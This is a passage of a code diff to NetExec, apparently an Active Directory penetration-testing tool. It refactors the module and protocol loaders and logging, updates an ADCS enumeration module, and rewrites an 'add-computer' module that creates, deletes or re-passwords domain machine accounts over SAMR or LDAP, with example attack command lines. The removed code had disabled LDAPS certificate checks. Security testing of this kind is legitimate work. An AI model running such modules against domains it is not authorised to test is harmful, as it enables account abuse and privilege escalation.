rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
|
||||
rpc_transport.setRemoteHost(target)
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
|
||||
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
|
||||
if target_ip is not None:
|
||||
rpc_transport.setRemoteHost(target_ip)
|
||||
elif set_remote_host is not None:
|
||||
rpc_transport.setRemoteHost(set_remote_host)
|
||||
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
+40
-19
@@ -4,14 +4,19 @@ import traceback
|
||||
import sys
|
||||
|
||||
from os import listdir
|
||||
from os.path import dirname
|
||||
from os.path import basename, dirname
|
||||
from os.path import join as path_join
|
||||
|
||||
from nxc.context import Context
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class ModuleOptionsError(Exception):
|
||||
"""Raised when a module aborts the run from options() (returned False)."""
|
||||
|
||||
|
||||
class ModuleLoader:
|
||||
def __init__(self, args, db, logger):
|
||||
self.args = args
|
||||
@@ -30,31 +35,49 @@ class ModuleLoader:
|
||||
elif not hasattr(module, "description"):
|
||||
self.logger.fail(f"{module_path} missing the description variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
|
||||
self.logger.fail(f"{module_path} missing the category variable or invalid category")
|
||||
module_error = True
|
||||
elif not hasattr(module, "supported_protocols"):
|
||||
self.logger.fail(f"{module_path} missing the supported_protocols variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "opsec_safe"):
|
||||
self.logger.fail(f"{module_path} missing the opsec_safe variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "multiple_hosts"):
|
||||
self.logger.fail(f"{module_path} missing the multiple_hosts variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "options"):
|
||||
self.logger.fail(f"{module_path} missing the options function")
|
||||
module_error = True
|
||||
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
|
||||
elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
|
||||
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
|
||||
module_error = True
|
||||
|
||||
if module_error:
|
||||
return False
|
||||
return True
|
||||
return not module_error
|
||||
|
||||
module_cache = {}
|
||||
|
||||
@classmethod
|
||||
def load_module_file(cls, module_path):
|
||||
"""Load a module file and return the raw module object with isolated namespace.
|
||||
|
||||
Each module gets a unique name to avoid sys.modules collisions that
|
||||
caused NXCModule class references to be overwritten when loading
|
||||
multiple modules. Results are cached so each file is only parsed
|
||||
and executed once regardless of how many targets are scanned.
|
||||
"""
|
||||
if module_path not in cls.module_cache:
|
||||
module_name = f"nxc_module_{basename(module_path)[:-3]}"
|
||||
spec = importlib.util.spec_from_file_location(module_name, module_path)
|
||||
module = importlib.util.module_from_spec(spec)
|
||||
# Register before executing. Modules that define their own impacket
|
||||
# NDRCALL requests rely on impacket resolving the matching Response
|
||||
# class via sys.modules[request.__module__] (rpcrt.py), which the
|
||||
# previous load_module() satisfied implicitly.
|
||||
sys.modules[module_name] = module
|
||||
spec.loader.exec_module(module)
|
||||
cls.module_cache[module_path] = module
|
||||
return cls.module_cache[module_path]
|
||||
|
||||
def load_module(self, module_path):
|
||||
"""Load a module, initializing it and checking that it has the proper attributes"""
|
||||
try:
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module = spec.loader.load_module().NXCModule()
|
||||
module = self.load_module_file(module_path).NXCModule()
|
||||
|
||||
if self.module_is_sane(module, module_path):
|
||||
return module
|
||||
@@ -64,7 +87,6 @@ class ModuleLoader:
|
||||
|
||||
def init_module(self, module_path):
|
||||
"""Initialize a module for execution"""
|
||||
module = None
|
||||
module = self.load_module(module_path)
|
||||
|
||||
if module:
|
||||
@@ -82,7 +104,8 @@ class ModuleLoader:
|
||||
key, value = option.split("=", 1)
|
||||
module_options[str(key).upper()] = value
|
||||
|
||||
module.options(context, module_options)
|
||||
if module.options(context, module_options) is False:
|
||||
raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
|
||||
return module
|
||||
else:
|
||||
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
|
||||
@@ -91,8 +114,7 @@ class ModuleLoader:
|
||||
def get_module_info(self, module_path):
|
||||
"""Get the path, description, and options from a module"""
|
||||
try:
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module_spec = spec.loader.load_module().NXCModule
|
||||
module_spec = self.load_module_file(module_path).NXCModule
|
||||
|
||||
module = {
|
||||
f"{module_spec.name}": {
|
||||
@@ -100,8 +122,7 @@ class ModuleLoader:
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
"supported_protocols": module_spec.supported_protocols,
|
||||
"opsec_safe": module_spec.opsec_safe,
|
||||
"multiple_hosts": module_spec.multiple_hosts,
|
||||
"category": module_spec.category,
|
||||
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,14 +2,12 @@ from types import ModuleType
|
||||
from importlib.machinery import SourceFileLoader
|
||||
from os import listdir
|
||||
from os.path import join as path_join
|
||||
from os.path import dirname, exists, expanduser
|
||||
from os.path import dirname, exists
|
||||
|
||||
import nxc
|
||||
|
||||
|
||||
class ProtocolLoader:
|
||||
def __init__(self):
|
||||
self.nxc_path = expanduser("~/.nxc")
|
||||
|
||||
def load_protocol(self, protocol_path):
|
||||
loader = SourceFileLoader("protocol", protocol_path)
|
||||
protocol = ModuleType(loader.name)
|
||||
@@ -18,27 +16,22 @@ class ProtocolLoader:
|
||||
|
||||
def get_protocols(self):
|
||||
protocols = {}
|
||||
protocol_paths = [
|
||||
path_join(dirname(nxc.__file__), "protocols"),
|
||||
path_join(self.nxc_path, "protocols"),
|
||||
]
|
||||
|
||||
for path in protocol_paths:
|
||||
for protocol in listdir(path):
|
||||
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
|
||||
protocol_path = path_join(path, protocol)
|
||||
protocol_name = protocol[:-3]
|
||||
proto_path = path_join(dirname(nxc.__file__), "protocols")
|
||||
for protocol in listdir(proto_path):
|
||||
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
|
||||
protocol_path = path_join(proto_path, protocol)
|
||||
protocol_name = protocol[:-3]
|
||||
|
||||
protocols[protocol_name] = {"path": protocol_path}
|
||||
|
||||
db_file_path = path_join(path, protocol_name, "database.py")
|
||||
db_nav_path = path_join(path, protocol_name, "db_navigator.py")
|
||||
protocol_args_path = path_join(path, protocol_name, "proto_args.py")
|
||||
if exists(db_file_path):
|
||||
protocols[protocol_name]["dbpath"] = db_file_path
|
||||
if exists(db_nav_path):
|
||||
protocols[protocol_name]["nvpath"] = db_nav_path
|
||||
if exists(protocol_args_path):
|
||||
protocols[protocol_name]["argspath"] = protocol_args_path
|
||||
protocols[protocol_name] = {"path": protocol_path}
|
||||
|
||||
db_file_path = path_join(proto_path, protocol_name, "database.py")
|
||||
db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
|
||||
protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
|
||||
if exists(db_file_path):
|
||||
protocols[protocol_name]["dbpath"] = db_file_path
|
||||
if exists(db_nav_path):
|
||||
protocols[protocol_name]["nvpath"] = db_nav_path
|
||||
if exists(protocol_args_path):
|
||||
protocols[protocol_name]["argspath"] = protocol_args_path
|
||||
return protocols
|
||||
+14
-8
@@ -101,9 +101,14 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
logging.getLogger("minidump").disabled = True
|
||||
logging.getLogger("lsassy").disabled = True
|
||||
logging.getLogger("dploot").disabled = True
|
||||
logging.getLogger("certipy").disabled = True
|
||||
logging.getLogger("aardwolf").disabled = True
|
||||
logging.getLogger("unicrypto").disabled = True
|
||||
logging.getLogger("asyncio").setLevel(logging.ERROR)
|
||||
logging.getLogger("neo4j").setLevel(logging.ERROR)
|
||||
logging.getLogger("pypsrp").setLevel(logging.ERROR)
|
||||
|
||||
def format(self, msg, *args, **kwargs): # noqa: A003
|
||||
def format(self, msg, *args, **kwargs):
|
||||
"""Format msg for output
|
||||
|
||||
This is used instead of process() since process() applies to _all_ messages, including debug calls
|
||||
@@ -118,10 +123,6 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra):
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from nxcServer
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from a protocol
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
|
||||
@@ -179,16 +180,21 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
file_creation = False
|
||||
|
||||
if not os.path.isfile(output_file):
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
try:
|
||||
with open(output_file, "x"):
|
||||
pass
|
||||
except FileNotFoundError:
|
||||
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
|
||||
exit(1)
|
||||
file_creation = True
|
||||
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
|
||||
|
||||
with file_handler._open() as f:
|
||||
if file_creation:
|
||||
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
else:
|
||||
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
|
||||
file_handler.setFormatter(file_formatter)
|
||||
self.logger.addHandler(file_handler)
|
||||
|
||||
+7
-4
@@ -1,6 +1,7 @@
|
||||
import re
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -13,8 +14,7 @@ class NXCModule:
|
||||
name = "adcs"
|
||||
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -27,7 +27,7 @@ class NXCModule:
|
||||
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
|
||||
BASE_DN The base domain name for the LDAP query
|
||||
"""
|
||||
self.regex = re.compile("(https?://.+)")
|
||||
self.regex = re.compile(r"(https?://.+)")
|
||||
|
||||
self.server = None
|
||||
self.base_dn = None
|
||||
@@ -70,7 +70,10 @@ class NXCModule:
|
||||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(f"Obtained unexpected exception: {e}")
|
||||
if "noSuchObject" in str(e):
|
||||
context.log.fail("No ADCS infrastructure found.")
|
||||
else:
|
||||
context.log.fail(f"Obtained unexpected exception: {e}")
|
||||
|
||||
def process_servers(self, item):
|
||||
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
|
||||
|
||||
+239
-266
@@ -1,302 +1,275 @@
|
||||
import ssl
|
||||
import ldap3
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
from impacket.dcerpc.v5 import samr
|
||||
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
Initial module:
|
||||
Refactored to use impacket LDAP CRUD operations instead of ldap3.
|
||||
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
Thanks to the guys at impacket for the original code
|
||||
"""
|
||||
|
||||
name = "add-computer"
|
||||
description = "Adds or deletes a domain computer"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
|
||||
supported_protocols = ["smb", "ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
add-computer: Specify add-computer to call the module using smb
|
||||
NAME: Specify the NAME option to name the Computer to be added
|
||||
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
|
||||
DELETE: Specify DELETE to remove a Computer
|
||||
CHANGEPW: Specify CHANGEPW to modify a Computer password
|
||||
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
add-computer: Adds, deletes, or changes the password of a domain computer account.
|
||||
Uses SAMR when invoked with nxc smb.
|
||||
|
||||
NAME Computer name (required). Trailing '$' is added automatically.
|
||||
PASSWORD Computer password (required for add/changepw).
|
||||
DELETE Set to delete the computer account.
|
||||
CHANGEPW Set to change an existing computer's password.
|
||||
|
||||
Usage (same syntax for ldap):
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
"""
|
||||
self.__baseDN = None
|
||||
self.__computerGroup = None
|
||||
self.__method = "SAMR"
|
||||
self.__noAdd = False
|
||||
self.__delete = False
|
||||
self.noLDAPRequired = False
|
||||
self.delete = "DELETE" in module_options
|
||||
self.change_pw = False
|
||||
|
||||
if "DELETE" in module_options:
|
||||
self.__delete = True
|
||||
if "CHANGEPW" in module_options:
|
||||
if "NAME" not in module_options or "PASSWORD" not in module_options:
|
||||
context.log.error("NAME and PASSWORD options are required for CHANGEPW!")
|
||||
sys.exit(1)
|
||||
self.change_pw = True
|
||||
|
||||
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
|
||||
context.log.error("NAME and PASSWORD options are required!")
|
||||
sys.exit(1)
|
||||
elif "CHANGEPW" in module_options:
|
||||
self.__noAdd = True
|
||||
|
||||
if "NAME" in module_options:
|
||||
self.__computerName = module_options["NAME"]
|
||||
if self.__computerName[-1] != "$":
|
||||
self.__computerName += "$"
|
||||
else:
|
||||
if "NAME" not in module_options:
|
||||
context.log.error("NAME option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
self.computer_name = module_options["NAME"]
|
||||
if not self.computer_name.endswith("$"):
|
||||
self.computer_name += "$"
|
||||
|
||||
if "PASSWORD" in module_options:
|
||||
self.__computerPassword = module_options["PASSWORD"]
|
||||
elif "PASSWORD" not in module_options and not self.__delete:
|
||||
self.computer_password = module_options["PASSWORD"]
|
||||
elif not self.delete:
|
||||
context.log.error("PASSWORD option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__host = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__nthash = ""
|
||||
self.__lmhash = ""
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
if connection.args.protocol == "smb":
|
||||
self._do_samr()
|
||||
elif connection.args.protocol == "ldap":
|
||||
self._do_ldap()
|
||||
|
||||
# First try to add via SAMR over SMB
|
||||
self.do_samr_add(context)
|
||||
def _db_remove_credential(self):
|
||||
try:
|
||||
db = self.context.db
|
||||
domain = self.connection.domain
|
||||
rows = db.get_user(domain, self.computer_name) if hasattr(db, "get_user") else db.get_credentials(filter_term=self.computer_name)
|
||||
db.remove_credentials([row[0] for row in rows])
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Could not remove credentials from DB: {e}")
|
||||
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add(connection, context)
|
||||
|
||||
def _db_add_credential(self):
|
||||
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
|
||||
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
Connects to a target server and performs various operations related to adding or deleting machine accounts.
|
||||
def _do_samr(self):
|
||||
try:
|
||||
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to connect to SAMR: {e}")
|
||||
return
|
||||
|
||||
Args:
|
||||
----
|
||||
context (object): The context object.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.__host)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
|
||||
serv_handle = samr_connect_response["ServerHandle"]
|
||||
|
||||
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
|
||||
domains = samr_enum_response["Buffer"]["Buffer"]
|
||||
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
|
||||
if len(domains_without_builtin) > 1:
|
||||
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
|
||||
if len(domain) != 1:
|
||||
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
|
||||
context.log.highlight("Available domain(s):")
|
||||
for domain in domains:
|
||||
context.log.highlight(f" * {domain['Name']}")
|
||||
raise Exception
|
||||
else:
|
||||
selected_domain = domain[0]["Name"]
|
||||
else:
|
||||
selected_domain = domains_without_builtin[0]["Name"]
|
||||
|
||||
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
|
||||
domain_sid = samr_lookup_domain_response["DomainId"]
|
||||
|
||||
context.log.debug(f"Opening domain {selected_domain}...")
|
||||
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
|
||||
domain_handle = samr_open_domain_response["DomainHandle"]
|
||||
|
||||
if self.__noAdd or self.__delete:
|
||||
try:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.exception(e)
|
||||
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
if self.__delete:
|
||||
access = samr.DELETE
|
||||
message = "delete"
|
||||
else:
|
||||
access = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
message = "set the password for"
|
||||
try:
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.exception(e)
|
||||
else:
|
||||
if self.__computerName is not None:
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xC0000073:
|
||||
raise
|
||||
else:
|
||||
found_unused = False
|
||||
while not found_unused:
|
||||
self.__computerName = self.generateComputerName()
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
found_unused = True
|
||||
else:
|
||||
raise
|
||||
try:
|
||||
create_user = samr.hSamrCreateUser2InDomain(
|
||||
dce,
|
||||
domain_handle,
|
||||
self.__computerName,
|
||||
samr.USER_WORKSTATION_TRUST_ACCOUNT,
|
||||
samr.USER_FORCE_PASSWORD_CHANGE,
|
||||
)
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
|
||||
elif e.error_code == 0xC00002E7:
|
||||
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
|
||||
context.log.exception(e)
|
||||
user_handle = create_user["UserHandle"]
|
||||
|
||||
if self.__delete:
|
||||
samr.hSamrDeleteUser(dce, user_handle)
|
||||
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
|
||||
self.noLDAPRequired = True
|
||||
user_handle = None
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
|
||||
if self.__noAdd:
|
||||
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
|
||||
self.noLDAPRequired = True
|
||||
else:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, user_handle, req)
|
||||
if not self.noLDAPRequired:
|
||||
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
|
||||
self.noLDAPRequired = True
|
||||
|
||||
if user_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, user_handle)
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if serv_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, serv_handle)
|
||||
try:
|
||||
self._samr_execute(dce, self.connection.conn.getRemoteName())
|
||||
finally:
|
||||
dce.disconnect()
|
||||
|
||||
def do_ldaps_add(self, connection, context):
|
||||
"""
|
||||
Performs an LDAPS add operation.
|
||||
def _samr_execute(self, dce, target_name):
|
||||
domain = self.connection.domain
|
||||
|
||||
Args:
|
||||
----
|
||||
connection (Connection): The LDAP connection object.
|
||||
context (Context): The context object.
|
||||
serv_handle = samr.hSamrConnect5(dce, f"\\\\{target_name}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)["ServerHandle"]
|
||||
domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"]
|
||||
non_builtin = [d for d in domains if d["Name"].lower() != "builtin"]
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
|
||||
Raises:
|
||||
------
|
||||
None
|
||||
"""
|
||||
ldap_domain = connection.domain.replace(".", ",dc=")
|
||||
spns = [
|
||||
f"HOST/{self.__computerName}",
|
||||
f"HOST/{self.__computerName}.{connection.domain}",
|
||||
f"RestrictedKrbHost/{self.__computerName}",
|
||||
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
|
||||
]
|
||||
ucd = {
|
||||
"dnsHostName": f"{self.__computerName}.{connection.domain}",
|
||||
"userAccountControl": 0x1000,
|
||||
"servicePrincipalName": spns,
|
||||
"sAMAccountName": self.__computerName,
|
||||
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
|
||||
}
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
|
||||
c.bind()
|
||||
|
||||
if self.__delete:
|
||||
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
|
||||
if result:
|
||||
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
|
||||
elif result is False and c.last_error == "noSuchObject":
|
||||
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
|
||||
elif result is False and c.last_error == "insufficientAccessRights":
|
||||
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
|
||||
else:
|
||||
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
|
||||
if len(non_builtin) > 1:
|
||||
matched = [d for d in domains if d["Name"].lower() == domain.lower()]
|
||||
if len(matched) != 1:
|
||||
self.context.log.fail(f"Domain '{domain}' not found. Available: {', '.join(d['Name'] for d in domains)}")
|
||||
return
|
||||
selected = matched[0]["Name"]
|
||||
else:
|
||||
result = c.add(
|
||||
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
|
||||
selected = non_builtin[0]["Name"]
|
||||
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
|
||||
|
||||
try:
|
||||
if self.delete or self.change_pw:
|
||||
user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username)
|
||||
else:
|
||||
user_handle = self._samr_create(dce, domain_handle, self.connection.username)
|
||||
|
||||
if user_handle is None:
|
||||
return
|
||||
|
||||
if self.delete:
|
||||
samr.hSamrDeleteUser(dce, user_handle)
|
||||
user_handle = None
|
||||
self.context.log.highlight(f"Successfully deleted the '{self.computer_name}' Computer account")
|
||||
self._db_remove_credential()
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.computer_password)
|
||||
if self.change_pw:
|
||||
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
|
||||
else:
|
||||
user_handle = self._samr_set_workstation_trust(dce, domain_handle, user_handle)
|
||||
self.context.log.highlight(f"Successfully added '{self.computer_name}' with password '{self.computer_password}'")
|
||||
self._db_add_credential()
|
||||
finally:
|
||||
if user_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, user_handle)
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
samr.hSamrCloseHandle(dce, serv_handle)
|
||||
|
||||
def _samr_set_workstation_trust(self, dce, domain_handle, user_handle):
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
|
||||
samr.hSamrCloseHandle(dce, user_handle)
|
||||
